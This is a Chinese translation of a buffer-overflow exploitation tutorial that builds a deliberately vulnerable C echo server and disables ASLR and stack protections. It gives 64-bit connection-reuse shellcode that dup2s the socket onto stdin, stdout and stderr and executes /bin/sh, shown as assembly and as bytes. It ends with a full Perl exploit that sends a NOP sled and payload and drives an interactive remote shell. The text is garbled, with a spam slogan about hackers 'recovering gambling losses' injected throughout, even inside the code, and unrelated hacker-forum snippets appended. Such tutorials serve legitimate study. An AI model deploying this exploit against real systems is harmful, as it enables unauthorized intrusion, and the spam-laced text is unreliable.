最强黑客-远程系统漏洞利用：不用依靠套接字的Shellcode
在文中中，我将详细介绍一种雅致的技术，来得到 一个shell浏览易受攻击的远程设备。尽管这一技术并不是我创造发明的，但我发现了它确实很趣味，因此 文中的关键是这类技术自身，而不是利用系统漏洞的实际 *** 。
设定自然环境
为了更好地致力于远程可靠 *** 黑客讨回网上赌博的钱shell编码自身，而不是把精力用在怎样避开ASLR、非可实行局部变量等防御措施上边，大家将禁止使用这种安全性作用。一旦了解了获得shellcode的方式，能够再次开启这种保障措施，以进一步训练怎样提升这种安全策略。因而，这是一个十分趣味的训练，假如你要练习得话。
更先，大家将禁止使用ASLR。因此，能够应用下列指令：
1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
这种设定全是临时性特性的，在下一次重启的时候会全可靠 *** 黑客讨回网上赌博的钱部复原。假如你要想不在重启设备的状况下马上复原全部设定得话，能够应用以下所显示的指令：
1
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
为了更好地禁止使用其他的安全性作用，我们可以应用下列选择项来编译程序含有 *** 安全问题的 *** 服务器：
1
-fno-stack-protector -z execstack
可靠 *** 黑客讨回网上赌博的钱这种选择项会禁止使用局部变量的canarie维护，并授予局部变量实行管理权限。那样的话，大家就获得了一个很容易利用的自然环境。
含有 *** 安全问题的服务项目
如今，使我们撰写一个含有跨站脚本攻击系统漏洞的中小型回显 *** 服务器，那样大家就可以远程利用它了。这一程序流程非常简单，你可以发觉编码中的跨站脚本攻击系统漏洞吗？ 你自然可靠 *** 黑客讨回网上赌博的钱能够。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
可靠 *** 黑客讨回网上赌博的钱 15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
可靠 *** 黑客讨回网上赌博的钱 30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
可靠 *** 黑客讨回网上赌博的钱 #include <arpa/inet.h>
int
process_request (int s1, char *reply)
{
char result[256];
strcpy (result, reply);
可靠 *** 黑客讨回网上赌博的钱 write (s1, result, strlen(result));
printf ("Result: %p\ ", &result);
return 0;
}
int
可靠 *** 黑客讨回网上赌博的钱 main (int argc, char *argv[])
{
struct sockaddr_in server, client;
socklen_t len = sizeof (struct sockaddr_in);
可靠 *** 黑客讨回网上赌博的钱 int s,s1, ops = 1;
char 可靠 *** 黑客讨回网上赌博的钱 reply[1024];
server.sin_addr.s_addr = INADDR_ANY;
server.sin_family = AF_INET;
server.sin_port = htons(9000);
&可靠 *** 黑客讨回网上赌博的钱nbsp; s = socket (PF_INET, SOCK_STREAM, 0);
if ((setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &ops, sizeof(ops))) < 0)
perror ("pb_server (reuseaddr):");
可靠 *** 黑客讨回网上赌博的钱 bind (s, (struct sockaddr *) &server, sizeof (server));
listen (s, 10);
while (1)
{
可靠 *** 黑客讨回网上赌博的钱 s1 = accept (s, (struct sockaddr *)&client, &len);
printf ("Connection from %s\ ", inet_ntoa (client.sin_addr));
靠谱黑客追回网赌的钱 memset (reply, 0, 1024);
read (s1, reply, 1024);
process_request (s1, reply);
close (s1);
靠谱黑客追回网赌的钱 }
return 0;
}
很好，下面我们就来编译它，让它变成一个最容易利用的服务器：
1
gcc -g -fno-stack-protector -z execstack -o target target.c
下面，我们来展示它的脆弱性。在一个终端运行靠谱黑客追回网赌的钱这个带有安全漏洞的服务器，然后在另一个终端运行下列命令：
1
$ perl -e 'print "A"x1024;' | nc localhost 9000
在运行服务器的终端中，我们将会看到如下所示的内容：
1
2
3
4
靠谱黑客追回网赌的钱 $ ./target
Connection from 127.0.0.1
Result: 0x7fffffffdbf0
Segmentation fault (core dumped)
注意，我已经添加了打印局部变量的地址的语句，从而可以验证ASLR是否被禁用。每次执行这个二进制代码的时候，应该总是看到相同的数字（当然，如果你修改了这个程序，数字就会随之改变）。
现在，我们可以拿这个程序来练手，学习如何靠谱黑客追回网赌的钱使用各种触手可及的shellcode来获取一个本地shell。尽管这个练习非常简单，但是我们建议您至少要练习一次。具体过程本文不作详细介绍，因为关于缓冲区溢出漏洞利用的教程，在 *** 上面数不胜数。
远程Shell
下面我们介绍如何获取远程shell。注意，这里的关键在于“远程&靠谱黑客追回网赌的钱rdquo;。这意味着在易受攻击的机器和攻击者之间，隔着一个 *** 。或者换句话说，我们必须通过一些套接字来发送/接收数据。根据这一要求，有两种方式可以用来获得远程shell：
如果你的shellcode创建一个服务器套接字来启用来自外部的连接请求，并从本地shell发送和接收数据 ...那么，这就是一个直接远程shell。
如果你的shellcode连接回一个预先指定的主机，并且这个主机上运行的服务器软件正在等待受害者的连接...那么，这就这是一个反向远程shell。
关于这两种远程shell的详细信息，请访问https://0x00sec.org/t/remote-shells-part-i/269。
看到这两个定义后，你可能会联想到RHOST/RPORT之类的变量....是的，它们可以用来告诉payload连接的主机地址和相应的端口。对于反向shell来说，您必须将这些信息存放到payload中，以便连接回来。对于直接shell你通常需要定义端口，服务器就会等待连接。
但是，至少对于Unix机器来说，还有第三种选择。
连接复用
当执行远程漏洞利用代码时，为了利用此漏洞，您已经连接到了服务器...所以，为什么不重用这个已经建立好的连接呢？这真是一个不错的想法，因为它不会显示任何会引起受害者怀疑的东西，例如来自服务器未知服务的开放端口等。
实现这一点的 *** 也非常巧妙。它是基于这样的事实，即系统是按顺序分配文件描述符的。知道了这一点，我们就可以在建立连接之后立即复制一个当前文件的描述符，除非服务器的负载很重，否则我们得到的文件描述符等于用于我们连接的套接字的文件描述符+1，这样很容易就能知道我们的连接的文件描述符了。
一旦知道了当前连接的文件描述符，我靠谱黑客追回网赌的钱们只需要将它复制到文件描述符0、1和2（stdin、stdout和stderr），就可以生成一个shell了。这样一来，该shell的所有输入/输出都会被重定向到我们的套接字了。
还不明白吗？肯定没读过https://0x00sec.org/t/remote-shells-part-i/269页面上的文章吧？不过没关系，现在去看也不晚。
相应的C代码如下所示：
1
2
3
4
5
靠谱黑客追回网赌的钱 int sck = dup (0) - 1; // Duplicate stdin
dup2 (sck, 0);
dup2 (sck, 1);
dup2 (sck, 2);
execv ("/bin/sh", NULL);
看...根本就没有使用套接字代码靠谱黑客追回网赌的钱！如果我们把它变成一个shellcode，并且设法利用远程服务器的漏洞来运行该代码，我们就能够获得一个shell来访问远程机器，而这个shell所使用的连接，正好就是原来向远程服务器投递利用代码的那个连接。
当然，也你已经注意到这种技术存在一些缺点。就像我们所提到的那样，如果服务器比较繁忙的话（同时建立许多连接），这种 *** 就很难奏效了。此外，正常的服务器会在变成守护进程之前关闭所有的文件描述符，因此我们可能需要尝试使用其他值来推测文件描述符。
这个技术是前一段时间跟@_py进行讨论的时候，由他想出来的。我们当时检查的原始代码可以在这里找到：
1
靠谱黑客追回网赌的钱 http://shell-storm.org/shellcode/files/shellcode-881.php4
但是，这是一个32位代码，所以我重新 *** 了对应的64位版本，以及一个运行漏洞利用代码的Perl脚本。
64位版本的Shellcode
下面的代码您就将就着看吧(我这才发现自己的汇编技能真是生锈了)，不过它确实可以正常运行，并且只比原来的32bits版本长了3个字节。我的64位版本的Shellcode如下所示：
1
2
3
4
5
6
7
8
9
10
靠谱黑客追回网赌的钱 11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
靠谱黑客追回网赌的钱26
27
28
29
30
31
32
33
34
35
36
37
38
39
靠谱黑客追回网赌的钱 40
section .text
global _start
_start:
;; s = Dup (0) - 1
xor rax, 靠谱黑客追回网赌的钱rax
push rax
push rax
push rax
pop rsi
靠谱黑客追回网赌的钱 pop rdx
push rax
pop rdi
靠谱黑客追回网赌的钱 mov al, 32
syscall ; DUP (rax=32) rdi = 0 (dup (0))
靠谱黑客追回网赌的钱
dec rax
push rax
pop rdi 靠谱黑客追回网赌的钱 ; mov rdi, rax ; dec rdi
;; dup2 (s, 0); dup2(s,1); dup2(s,2)
loop: mov al, 33
靠谱黑客追回网赌的钱 syscall ; DUP2 (rax=33) rdi=oldfd (socket) rsi=newfd
靠谱黑客追回网赌的钱 inc rsi
mov rax,rsi
cmp al, 2 ;&靠谱黑客追回网赌的钱nbsp;Loop 0,1,2 (stdin, stdout, stderr)
jne loop
;; exec (/bin/sh)
靠谱黑客追回网赌的钱 push rdx ; NULL
靠谱黑客追回网赌的钱 mov qword rdi, 0x68732f6e69622f2f ; "//bin/sh"
push rdi 靠谱黑客追回网赌的钱 ; command
push rsp 靠谱黑客追回网赌的钱
pop rdi
靠谱黑客追回网赌的钱
push rdx ;env
靠谱黑客追回网赌的钱 pop rsi ;args
靠谱黑客追回网赌的钱 mov al, 0x3b ;EXEC (rax=0x4b) rdi="/bin/sh" rsi=rdx=
syscall
对于不太容易理解的地方，我已经添加了相应的注释。同时，你可能也注意到了，代码里使用了许多的push/pop指令，这靠谱黑客追回网赌的钱是因为一个PUSH/POP指令对占用2个字节，而MOV R1，R2指令则需要占用3个字节。虽然这会代码变得非常丑，但是却能节约一些空间...实际上也没有节约太多的地方，所以也算不上一个好主意。无论如何，您可以随意改进它，并欢迎在评论中发布您自己的版本。
生成Shellcode
现在，我们靠谱黑客追回网赌的钱需要生成相应的shellcode，同时，其格式必须适合将其发送到远程服务器才行。为此，我们首先需要编译代码，然后从编译的文件中提取机器代码。编译代码非常简单，具体如下所示：
1
na *** -f elf64 -o rsh.o rsh.a ***
当然，从目标文件中获取二进制数据的 *** 有很多。我们这里使用的 *** 是生成具有易于添加到Perl或C程序中的格式的字符串。
1
for i&靠谱黑客追回网赌的钱nbsp;in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
上面的两个命令将产生以下shellcode：
1
靠谱黑客追回网赌的钱 \x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05
接下来，我们就需要开始编写漏洞利用代码了。
漏洞利用代码
目前为止，我们已经搭设了一个带有远程利用漏洞的系统。同时，也了解了如何在低安全环境中利用缓冲区溢出漏洞，并生成了一个用于在远程系统上运行的shellcode。现在我们需要一个漏洞利用代码，把所有这些整合起来，从而获得我们梦寐以求的远程shell。
当然，编写漏洞利用代码的语言有很多，不过这里选用的是自己最熟悉的Perl。
我们的漏洞利用代码具体如下所示：
1
2
3
靠谱黑客追回网赌的钱 4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
靠谱黑客追回网赌的钱 19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
靠谱黑客追回网赌的钱 34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
靠谱黑客追回网赌的钱49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/perl
use IO::Select;
靠谱黑客追回网赌的钱 use IO::Socket::INET;
$|=1;
print "Remote Exploit Example";
print "by 0x00pf for 0x00sec :)\n\n";
# 靠谱黑客追回网赌的钱You may need to calculate these magic numbers for your system
$addr = "\x10\xdd\xff\xff\xff\x7f\x00\x00";
$off = 264;
# Generate the 靠谱黑客追回网赌的钱payload
$shellcode = "\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05";
靠谱黑客追回网赌的钱 $nops = $off - length $shellcode;
$payload = "\x90" x $nops . $shellcode . $addr;
$plen = length $payload;
$slen = length $shellcode;
靠谱黑客追回网赌的钱 print "SLED $nops Shellcode: $slen Payload size: $plen\n";
# Connect
my $socket = new IO::Socket::INET (
靠谱黑客追回网赌的钱 PeerHost => '127.0.0.1',
PeerPort => '9000',
Proto => 'tcp',
);
# Set up select for asynchronous read from the server
靠谱黑客追回网赌的钱 $sel = IO::Select->new( $socket );
$sel->add(\*STDIN);
# Exploit!
$socket->send ($payload);
$socket->recv ($trash,1024);
靠谱黑客追回网赌的钱$timeout = .1;
$flag = 1; # Just to show a prompt
# Interact!
while (1) {
靠谱黑客追回网赌的钱 if (@ready = $sel->can_read ($timeout)) {
foreach $fh (@ready) {
$flag =1;
靠谱黑客追回网赌的钱 if($fh == $socket) {
$socket->recv ($resp, 1024);
靠谱黑客追回网赌的钱 print $resp;
}
else { # It is stdin
靠谱黑客追回网赌的钱 $line = <STDIN>;
$socket->send ($line);
靠谱黑客追回网赌的钱 }
}
}
靠谱黑客追回网赌的钱 else { # Show the prompt whenever everything's been read
print "0x00pf]> " if ($flag);
$flag = 0;
靠谱黑客追回网赌的钱 }
}
漏洞利用代码的开头部分几乎是标准式的。接下来，根据您利用gdb找出的魔法数字来生成payload（请注意，在您的系统中这些数字可能会有所不同，这样的话，这个漏洞利用代码，在您的系统中，可能就会无法正常工作）。
然后，我们必须针对自己的远程shell进行一些额外的工作。使用直接和反向shell时，一旦漏洞利用代码执行完毕，我们通常需要使用另一个程序/模块连接到远程机器，或接收来靠谱黑客追回网赌的钱自远程机器的连接。为此，可以使用netcat或您喜欢的渗透测试平台，甚至是自己专门编写的工具...
但是，就本地而言，我们将使用已建立的连接来访问shell，这个连接就是之前用来发送payload的那个。所以我添加了一些代码，用来从stdin读取命令，并将它们发送到远程服务器，同时也从远程shell读取数据。这些都是些标准的 *** 代码，实在是没有什么特别之处。
现在，你可以尝试一下这个可以获取远程shell的漏洞利用代码了！
小结
在本文中，我们讨论了一种巧妙地技术，可以隐秘地获取shell来远程访问易受攻击的服务器，并且不需要跟系统提供的套接字API打交道。这使得shellcode的开发变得更简单，也使其更简洁（例如，你可以跟http://shell-storm.org/shellcode/files/shellcode-858.php2提供的代码比较一番。
欢迎各位改进这个shellcode，并在评论中发布自己的版本。此外，如果有人想尝试在安全功能被激活情况下的漏洞利用的话，可靠谱黑客追回网赌的钱以：
重新激活ASLR（你已经知道如何做了）
禁用堆栈的执行权限（删除-zexecstack标志或使用execstack工具）
重新激活堆栈保护功能（删除-fno-stackprotector标志）
使用更专业的安全编译选项（使用-DFORTIFY_SOURCE = 2选项进行编译，或使用-O2选项）
使用更加严酷的安全编译选项（使用-O2 -fPIC -pie -fstack-protector-all -Wl，-z，relro，-z，now进行编译）
黑客攻击涉嫌破坏计算机信息系统罪,犯本罪的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上靠谱黑客追回网赌的钱有期徒刑。法律规定:《刑法》第二百八十六条违反。顶级黑客
如何联系黑客找回自己的qq号1.指间的黑客2.黑客传说3.原始动力4.禁区之门(地狱黑客)5.颠峰黑客6.心灵黑客7.黑客江湖8. *** 骑士9.黑客的心10.黑客风云11.天擎。
顶级黑客不清楚楼主多大,未成年就算了,中国黑阔圈子水很深。我觉得中国黑阔主要有两类,之一类是搞web的就是所谓的渗透日站,需要学习脚本js,asp,php。还有就是。
HTTPS可以加密传输客户端到服务器端的通讯数据,具有防篡改、防窃听的功能,安全性还是很高的。因为加密是通过SSL证书的私钥完成,即使黑客截取到了数据包,没。
我们不说鸽子也不说钓鱼,肉鸡,入侵靠谱黑客追回网赌的钱,检测,防御。放鸽子的,钓鱼的那是骇客干的,要分清黑客和骇客的区别,不明白找百度大婶黑客涉及到计算机的很多方面理所当然黑客术语有很多种,如编程的,入侵的,渗透的,脚本的,不可能一一说完我这里说几个都知道的肉鸡:早期称为3389,4489肉鸡。顶级黑客
由于软件编写方式和操作系统的特点,大型的软件几乎都有漏洞。举例来说一个类似qq登录简单的号码录入框,如果程序员疏忽没有编写限制录入长度的代码,当用户。
顶级黑客。1971年,卡普尔从耶鲁大学毕业。在校期间,他专修心理学、语言学以及计算机学科。也就是在这时他开始对计算机萌生兴趣。他继续到研究生院深造。20世纪60年代,退学是。
标签：
版权声明
本文仅代表作者观点，不代表本站立场。
本文系作者授权发表，未经许可，不得转载。
